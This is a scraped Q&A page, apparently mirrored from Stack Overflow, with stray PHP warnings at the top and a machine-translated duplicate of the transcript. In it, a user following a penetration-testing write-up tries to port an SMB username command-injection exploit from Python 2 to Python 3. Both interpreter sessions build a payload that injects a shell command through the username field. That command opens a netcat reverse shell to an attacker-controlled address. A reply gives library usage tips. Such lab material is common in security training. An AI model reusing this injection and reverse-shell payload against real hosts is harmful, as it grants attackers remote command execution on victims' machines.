Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/15.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 3.x 连接到python3中的SMB共享_Python 3.x_Smb_Penetration Testing - Fatal编程技术网

Python 3.x 连接到python3中的SMB共享

Python 3.x 连接到python3中的SMB共享,python-3.x,smb,penetration-testing,Python 3.x,Smb,Penetration Testing,我正在关注一个pentest writeup,它使用Python 2连接到smb共享: Python 2.7.17 (default, Oct 19 2019, 23:36:22) [GCC 9.2.1 20191008] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> fro

我正在关注一个pentest writeup,它使用Python 2连接到smb共享:

Python 2.7.17 (default, Oct 19 2019, 23:36:22) 
[GCC 9.2.1 20191008] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from smb.SMBConnection import SMBConnection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = SMBConnection(username, "", "", "")
>>> connection.connect("10.10.10.3",445)
我正在尝试使用Python 3完成同样的事情,这就是我所取得的成就:

Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from smbprotocol.connection import Connection
>>> payload = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.X 9999 >/tmp/f'
>>> username = "/=`nohup " + payload + "`"
>>> connection = Connection(username, "", "", "")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/user/.local/lib/python3.9/site-packages/smbprotocol/connection.py", line 638, in __init__
    log.info("Initialising connection, guid: %s, require_signing: %s, "
TypeError: %d format: a number is required, not str
>>> import smbclient
>>> smbclient.ClientConfig(username)
<smbclient._pool.ClientConfig object at 0x7f6d093ac2e0>
>>> connection = smbclient.ClientConfig(username)
>>> connection.connect("10.X.X.X",445)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'ClientConfig' object has no attribute 'connect'
>>> 
Python 3.9.2(默认,2021年2月28日,17:03:44)
[GCC 10.2.1 20210110]在linux上
有关详细信息,请键入“帮助”、“版权”、“信用证”或“许可证”。
>>>从smbprotocol.connection导入连接
>>>有效载荷='rm/tmp/f;mkfifo/tmp/f;cat/tmp/f |/bin/sh-i2>&1 | nc 10.10.14.X 9999>/tmp/f'
>>>username=“/=`nohup”+有效负载+“`”
>>>连接=连接(用户名,“”,“”,“”)
回溯(最近一次呼叫最后一次):
文件“”,第1行,在
文件“/home/user/.local/lib/python3.9/site packages/smbprotocol/connection.py”,第638行,在__
log.info(“初始化连接,guid:%s,需要签名:%s,”
类型错误:%d格式:需要数字,而不是str
>>>导入smbclient
>>>smbclient.ClientConfig(用户名)
>>>connection=smbclient.ClientConfig(用户名)
>>>连接。连接(“10.X.X.X”,445)
回溯(最近一次呼叫最后一次):
文件“”,第1行,在
AttributeError:'ClientConfig'对象没有属性'connect'
>>> 

我正在使用的模块是

我认为上一次尝试(使用smbclient)的问题在于,您需要将连接更改回smbclient。因为第二次调用连接时,您正在调用smbclient.ClientConfig()

文档建议您这样做(在完成ClientConfig之后):

使用smbclient.open_文件(r“\server\share\directory\file.txt”,mode=“w”)作为fd: fd.write(u“文件内容”)

我想其他人也提到了这些文档,但在这里,他们有一些很好的例子:


是的,自述文件中有几行我的尝试